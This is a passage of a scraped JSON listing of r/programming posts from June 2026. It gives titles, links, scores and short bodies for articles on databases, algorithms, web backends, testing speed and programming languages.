    "url": "https://amrdeveloper.medium.com/heterogeneous-pythonic-language-in-your-pocket-921f2197bc39",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7m0co",
  "url": "https://youtu.be/GfRNbWb3ngA",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7m0co/frontend_minimalism_in_action_do_more_with_less/",
  "title": "Frontend Minimalism in Action: Do More With Less JavaScript | Peter Kröner | webinale Berlin 2026",
  "body": null,
  "author": "Infamous_Sorbet4021",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.87,
  "numComments": 1,
  "createdAt": "2026-06-16T18:34:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/GfRNbWb3ngA",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7jb7t",
  "url": "https://swingbit.github.io/quackmate/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7jb7t/squaring_the_circle_running_depthfirst_chess/",
  "title": "Squaring the Circle: Running Depth-First Chess Search on a Set-Based Language",
  "body": "I wrote this technical deep-dive to explore the paradigm mismatch between declarative, set-based processing and sequential, depth-first search algorithms.\n\nThe write-up walks through the mechanics of forcing a relational database engine (DuckDB) to handle chess logic, specifically:\n\n* **Data Representation:** Mapping 64-bit bitboards into a relational model using `UBIGINT` types.\n* **The Pruning Blocker:** Why the stateless nature of relational sets prevents sibling nodes from communicating, making true Alpha-Beta pruning impossible inside a single query.\n* **The Workaround:** Offloading the stateful control flow to an external orchestrator to implement Batched Principal Variation Search (PVS) across query boundaries without violating the declarative nature of the core chess math.\n\nThe resulting chess engine is obviously not competitive, but the goal was to document the architectural trade-offs, the performance walls encountered with recursive CTEs, and how relational algebra behaves when pushed entirely out of its comfort zone.",
  "author": "swing_bit",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.57,
  "numComments": 0,
  "createdAt": "2026-06-16T17:00:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://swingbit.github.io/quackmate/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7i2bj",
  "url": "https://www.crunchydata.com/blog/british-columbia-and-time-zone-changes",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7i2bj/british_columbia_time_zones_and_postgres/",
  "title": "British Columbia, Time Zones, and Postgres",
  "body": "British Columbia has recently made some time zone changes —- but you have a few months until you feel the impact. That gives an opportunity to deep dive into time zones, timestamp storage, and more.",
  "author": "winsletts",
  "subreddit": "programming",
  "score": 62,
  "upvoteRatio": 0.91,
  "numComments": 23,
  "createdAt": "2026-06-16T16:15:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.crunchydata.com/blog/british-columbia-and-time-zone-changes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7d8b6",
  "url": "https://blog.yellowflash.in/posts/2026-06-15-polynomial-fit-a-rabbit-hole.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7d8b6/polynomial_fitting_a_rabbit_hole/",
  "title": "Polynomial Fitting: a rabbit hole",
  "body": "This one is bit math heavy. I started of building a small timeseries compression library, and ended up digging through some numerical algorithms, linear algebra. I learnt through a hose during last week and found something genuinely beautiful. If you stick through it I suppose you can see what I saw.  \n  \n",
  "author": "ennamo_po_madhava",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.9,
  "numComments": 7,
  "createdAt": "2026-06-16T13:14:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.yellowflash.in/posts/2026-06-15-polynomial-fit-a-rabbit-hole.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7d7ja",
  "url": "https://danielpetrica.com/how-to-replace-raw-s3-urls-with-a-laravel-image-proxy-and-keep-your-cdn-cache/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7d7ja/stop_exposing_your_s3_bucket_urls_a_dead_simple/",
  "title": "Stop exposing your S3 bucket URLs. a dead simple image proxy with CDN caching",
  "body": "How I replaced all the ugly S3 URLs on my Laravel blog with clean /storage/media/... and /storage/og-images/... paths.\n\nThe setup: Laravel + Octane + Traefik + Cloudflare. Two buckets -- a private one for uploaded media and a public one for auto-generated OG images.\n\nWhat's in the post:\n\n\\- MediaUrlBusiness helper class that centralizes URL generation (replaced 6+ blade templates of raw Storage::url() calls)\n\n\\- ObjectProxyController that streams files directly from S3 using readStream() + response()->stream() -- no memory buffering\n\n\\- Cache-Control: public, max-age=86400, immutable so Cloudflare caches aggressively\n\n\\- Route setup in routes/static.php with a middleware tweak that doesn't overwrite the proxy's own cache headers\n\nOne gotcha: Storage::download() and streamDownload() buffer the whole file into memory. Switching to readStream() sends it directly from S3 to the client.\n",
  "author": "HolyPad",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.25,
  "numComments": 6,
  "createdAt": "2026-06-16T13:13:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://danielpetrica.com/how-to-replace-raw-s3-urls-with-a-laravel-image-proxy-and-keep-your-cdn-cache/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7c4wb",
  "url": "https://tiki.li/blog/blqsort2.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7c4wb/what_makes_blqsort_faster_than_almost_any_other/",
  "title": "What makes blqsort faster than almost any other Quicksort around – with C and C++ interfaces",
  "body": null,
  "author": "chkas",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.82,
  "numComments": 5,
  "createdAt": "2026-06-16T12:28:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tiki.li/blog/blqsort2.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u79v59",
  "url": "https://blog.johnnovak.net/2016/09/21/what-every-coder-should-know-about-gamma/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u79v59/what_every_coder_should_know_about_gamma/",
  "title": "What every coder should know about gamma",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.67,
  "numComments": 17,
  "createdAt": "2026-06-16T10:37:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.johnnovak.net/2016/09/21/what-every-coder-should-know-about-gamma/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u784ej",
  "url": "https://fagnerbrack.com/craftsmanship-not-craftsmanshit-88db7c982103",
  "permalink": "https://www.reddit.com/r/programming/comments/1u784ej/craftsmanship_not_craftsmanshit/",
  "title": "CraftsmanSHIP. Not CraftsmanSHIT.",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.27,
  "numComments": 0,
  "createdAt": "2026-06-16T08:58:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/craftsmanship-not-craftsmanshit-88db7c982103",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u77h7h",
  "url": "https://gaultier.github.io/blog/I_sped_up_the_test_suite_by_x2.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1u77h7h/dont_run_sql_migrations_in_tests_how_i_sped_up/",
  "title": "Don't run SQL migrations in tests: How I sped up the test suite by 2x",
  "body": null,
  "author": "broken_broken_",
  "subreddit": "programming",
  "score": 183,
  "upvoteRatio": 0.87,
  "numComments": 60,
  "createdAt": "2026-06-16T08:18:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gaultier.github.io/blog/I_sped_up_the_test_suite_by_x2.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u75sui",
  "url": "https://www.youtube.com/watch?v=OfE_GlT-QKo",
  "permalink": "https://www.reddit.com/r/programming/comments/1u75sui/stop_writing_to_two_systems_write_to_one/",
  "title": "Stop writing to two systems. Write to one.",
  "body": null,
  "author": "andrewcairns",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 5,
  "createdAt": "2026-06-16T06:39:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=OfE_GlT-QKo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u74mab",
  "url": "https://services.google.com/fh/files/blogs/google_delayexp.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1u74mab/speed_matters_for_google_web_search_2009/",
  "title": "Speed Matters for Google Web Search [2009]",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.79,
  "numComments": 1,
  "createdAt": "2026-06-16T05:31:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://services.google.com/fh/files/blogs/google_delayexp.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6zh39",
  "url": "https://arewemodulesyet.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6zh39/arewemodulesyetorg_passes_the_mark_of_100/",
  "title": "arewemodulesyet.org passes the mark of 100 projects with modules support for the first time.",
  "body": null,
  "author": "germandiago",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 15,
  "createdAt": "2026-06-16T01:18:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arewemodulesyet.org/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6xklw",
  "url": "https://forgottenbytes.net/commander_keen.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6xklw/game_engine_white_papers_commander_keen/",
  "title": "Game Engine White Papers Commander Keen",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.86,
  "numComments": 4,
  "createdAt": "2026-06-15T23:53:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://forgottenbytes.net/commander_keen.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6omlt",
  "url": "https://americanexpress.io/cell-based-architecture-for-resilient-payment-systems/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6omlt/american_express_cellbased_architecture_for/",
  "title": "American Express: Cell-Based Architecture for Resilient Payment Systems",
  "body": null,
  "author": "madflojo",
  "subreddit": "programming",
  "score": 166,
  "upvoteRatio": 0.93,
  "numComments": 18,
  "createdAt": "2026-06-15T18:18:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://americanexpress.io/cell-based-architecture-for-resilient-payment-systems/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6o4jk",
  "url": "https://cekrem.github.io/posts/explaining-functional-programming-to-non-programmers/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6o4jk/explaining_functional_programming_to/",
  "title": "Explaining Functional Programming to Non-Programmers (It's Just Excel) · cekrem.github.io",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.54,
  "numComments": 0,
  "createdAt": "2026-06-15T18:00:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/explaining-functional-programming-to-non-programmers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6mjpp",
  "url": "https://ekxide.io/blog/cross-language-data-types",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6mjpp/crosslanguage_data_types/",
  "title": "Cross-Language Data Types",
  "body": "Have you ever thought about sharing data across language boundaries without serialization? This blog post highlights the challenges behind this endeavor and how they can be overcome.\n\nNote: I'm not the original author of the blog post, but since the author does not have a Reddit account, I post it on his behalf.",
  "author": "elBoberido",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.83,
  "numComments": 1,
  "createdAt": "2026-06-15T17:04:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ekxide.io/blog/cross-language-data-types",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6jbh8",
  "url": "https://blog.tacoda.dev/lisps-influence-on-ruby-6a54f1a7740e",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6jbh8/lisps_influence_on_ruby/",
  "title": "Lisp’s Influence on Ruby",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.77,
  "numComments": 6,
  "createdAt": "2026-06-15T15:09:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.tacoda.dev/lisps-influence-on-ruby-6a54f1a7740e",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6hsfh",
  "url": "https://leetarxiv.substack.com/p/chebyshev-polynomials-are-ferraris",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6hsfh/chebyshev_polynomials_and_their_derivatives_in_c/",
  "title": "Chebyshev Polynomials and Their Derivatives in C",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.8,
  "numComments": 1,
  "createdAt": "2026-06-15T14:12:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/chebyshev-polynomials-are-ferraris",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6hkye",
  "url": "https://wasp.sh/blog/2026/06/15/wasp-typescript-spec",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6hkye/wasp_now_lets_you_write_your_fullstack_logic_as_a/",
  "title": "Wasp now lets you write your full-stack logic as a spec in TypeScript",
  "body": null,
  "author": "Martinsos",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.76,
  "numComments": 14,
  "createdAt": "2026-06-15T14:04:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://wasp.sh/blog/2026/06/15/wasp-typescript-spec",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6fkkg",
  "url": "https://youtu.be/yFz1LTtEwz8?si=aczgRJxukvqXSewJ",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6fkkg/lexical_tokenization_explained_while_building_a/",
  "title": "Lexical tokenization explained while building a lexer for a toy programming language",
  "body": "It's not highly theoretical and walks through actual lexer implementation in code",
  "author": "Xaneris47",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.67,
  "numComments": 1,
  "createdAt": "2026-06-15T12:45:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/yFz1LTtEwz8?si=aczgRJxukvqXSewJ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6f25o",
  "url": "https://youtu.be/42RNaAZK3hU?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6f25o/cloud_containers_security_adrian_mouat_kief/",
  "title": "Cloud, Containers & Security • Adrian Mouat, Kief Morris & Sam Newman",
  "body": "In this session, Sam Newman interviews Kief Morris and Adrian Mouat, both experts in their field. They explore the current reality of security in the container world, how infrastructure automation is impacted by latest trends, and whether platform teams are actually working.",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 1,
  "createdAt": "2026-06-15T12:22:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/42RNaAZK3hU?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u6dz52",
  "url": "https://vexlio.com/blog/svgs-and-pdfs-can-both-be-interactive/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u6dz52/svgs_and_pdfs_can_both_be_interactive/",
  "title": "SVGs and PDFs can both be interactive",
  "body": null,
  "author": "parametric-ink",
  "subreddit": "programming",
  "score": 287,
  "upvoteRatio": 0.93,
  "numComments": 57,
  "createdAt": "2026-06-15T11:33:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vexlio.com/blog/svgs-and-pdfs-can-both-be-interactive/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u693un",
  "url": "https://blog.apnic.net/2025/12/08/21-years-and-counting-of-eight-fallacies-of-distributed-computing/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u693un/21_years_and_counting_of_eight_fallacies_of/",
  "title": "21 years and counting of 'eight fallacies of distributed computing' | APNIC Blog",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 62,
  "upvoteRatio": 0.86,
  "numComments": 3,
  "createdAt": "2026-06-15T06:58:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.apnic.net/2025/12/08/21-years-and-counting-of-eight-fallacies-of-distributed-computing/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u673my",
  "url": "https://noteflakes.com/articles/2026-06-13-syntropy",
  "permalink": "https://www.reddit.com/r/programming/comments/1u673my/software_as_craft_a_first_look_at_syntropy/",
  "title": "Software as Craft: a First Look at Syntropy",
  "body": null,
  "author": "noteflakes",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.66,
  "numComments": 2,
  "createdAt": "2026-06-15T05:09:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://noteflakes.com/articles/2026-06-13-syntropy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u5v9pd",
  "url": "https://blog.janestreet.com/formal-methods-at-jane-street-index/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u5v9pd/formal_methods_and_the_future_of_programming/",
  "title": "Formal methods and the future of programming",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 214,
  "upvoteRatio": 0.9,
  "numComments": 61,
  "createdAt": "2026-06-14T20:06:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.janestreet.com/formal-methods-at-jane-street-index/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u5hzct",
  "url": "https://youtu.be/_xcTFx1EmUg",
  "permalink": "https://www.reddit.com/r/programming/comments/1u5hzct/developing_a_pkggodev_tui_explorer/",
  "title": "Developing a pkg.go.dev TUI explorer",
  "body": null,
  "author": "der_gopher",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 1,
  "createdAt": "2026-06-14T10:50:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/_xcTFx1EmUg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u5hjjg",
  "url": "https://youtu.be/LLBrV5qRT3o",
  "permalink": "https://www.reddit.com/r/programming/comments/1u5hjjg/video_search_autocomplete_system_design/",
  "title": "[video] Search Autocomplete - System Design",
  "body": null,
  "author": "lucian-12",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 0,
  "createdAt": "2026-06-14T10:24:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/LLBrV5qRT3o",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u5fxus",
  "url": "https://blog.mailwebhook.com/blog/normalization-is-where-reliability-starts/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u5fxus/email_data_normalization_for_automation/",
  "title": "Email Data Normalization for Automation",
  "body": null,
  "author": "PGurskis",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.76,
  "numComments": 1,
  "createdAt": "2026-06-14T08:47:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.mailwebhook.com/blog/normalization-is-where-reliability-starts/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u5c0r6",
  "url": "https://brandondong.github.io/blog/git_merges_can_be_better",
  "permalink": "https://www.reddit.com/r/programming/comments/1u5c0r6/git_merges_can_be_better/",
  "title": "Git merges can be better",
  "body": null,
  "author": "agentvenom1",
  "subreddit": "programming",
  "score": 207,
  "upvoteRatio": 0.91,
  "numComments": 113,
  "createdAt": "2026-06-14T05:01:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://brandondong.github.io/blog/git_merges_can_be_better",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u59qiv",
  "url": "https://www.youtube.com/watch?v=COBZZb6Iu2Q",
  "permalink": "https://www.reddit.com/r/programming/comments/1u59qiv/type_theory_forall_62_dependent_haskell_vladislav/",
  "title": "Type Theory Forall #62 - Dependent Haskell - Vladislav Zavialov",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.77,
  "numComments": 1,
  "createdAt": "2026-06-14T03:05:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=COBZZb6Iu2Q",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u4tbow",
  "url": "https://rkblog.dev/posts/pc-performance/performance-monitoring-with-python/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u4tbow/system_and_game_performance_monitoring_with_python/",
  "title": "System and game performance monitoring with Python",
  "body": null,
  "author": "riklaunim",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.72,
  "numComments": 3,
  "createdAt": "2026-06-13T15:06:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rkblog.dev/posts/pc-performance/performance-monitoring-with-python/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u4swvc",
  "url": "https://www.youtube.com/watch?v=KK5c0f7Gb6M",
  "permalink": "https://www.reddit.com/r/programming/comments/1u4swvc/how_does_dynamodb_figure_out_which_keys_are_out/",
  "title": "How does DynamoDB figure out which keys are out of sync across replicas ?",
  "body": null,
  "author": "Normal-Tangelo-7120",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.81,
  "numComments": 0,
  "createdAt": "2026-06-13T14:49:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=KK5c0f7Gb6M",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u4ra8f",
  "url": "https://willybrauner.com/journal/signal-the-push-pull-based-algorithm",
  "permalink": "https://www.reddit.com/r/programming/comments/1u4ra8f/signals_the_pushpull_based_algorithm/",
  "title": "Signals, the push-pull based algorithm",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 213,
  "upvoteRatio": 0.92,
  "numComments": 27,
  "createdAt": "2026-06-13T13:40:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://willybrauner.com/journal/signal-the-push-pull-based-algorithm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u4nf9j",
  "url": "https://rkochanowski.com/article/analysis-code-duplication/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u4nf9j/analysis_of_how_code_duplication_changed_in/",
  "title": "Analysis of how code duplication changed in recent years (no clear trend)",
  "body": "My methodology and data set didn't show any trend, but it demonstrated a more important issue: how wrongly this kind of research can be done and how misinterpreted the conclusions can be.\n\nThe reason for making this research was an attempt to verify the claim that AI-assisted development increases code duplication. I analyzed 14 well-maintained open-source projects between 2021-2026, excluding new ones developed only with AI. For duplication detection, I compared semantic similarity using [https://github.com/rafal-qa/slopo](https://github.com/rafal-qa/slopo) (I'm the author), not exact copies. This data can't prove or deny the claim, no trend is visible. Not only because 14 projects is too little, but also because there is a large variance between projects.\n\nThe main advantage of this research is that it highlights the pitfalls in the analysis and conclusions and shows how easy it is to create \"evidence\" to support any claim.",
  "author": "rafal-kochanowski",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.72,
  "numComments": 9,
  "createdAt": "2026-06-13T10:28:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rkochanowski.com/article/analysis-code-duplication/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u4dwrh",
  "url": "https://trigger.dev/blog/firebun",
  "permalink": "https://www.reddit.com/r/programming/comments/1u4dwrh/why_we_replaced_nodejs_with_bun_for_5x_throughput/",
  "title": "Why we replaced Node.js with Bun for 5x throughput",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.29,
  "numComments": 7,
  "createdAt": "2026-06-13T01:41:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://trigger.dev/blog/firebun",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
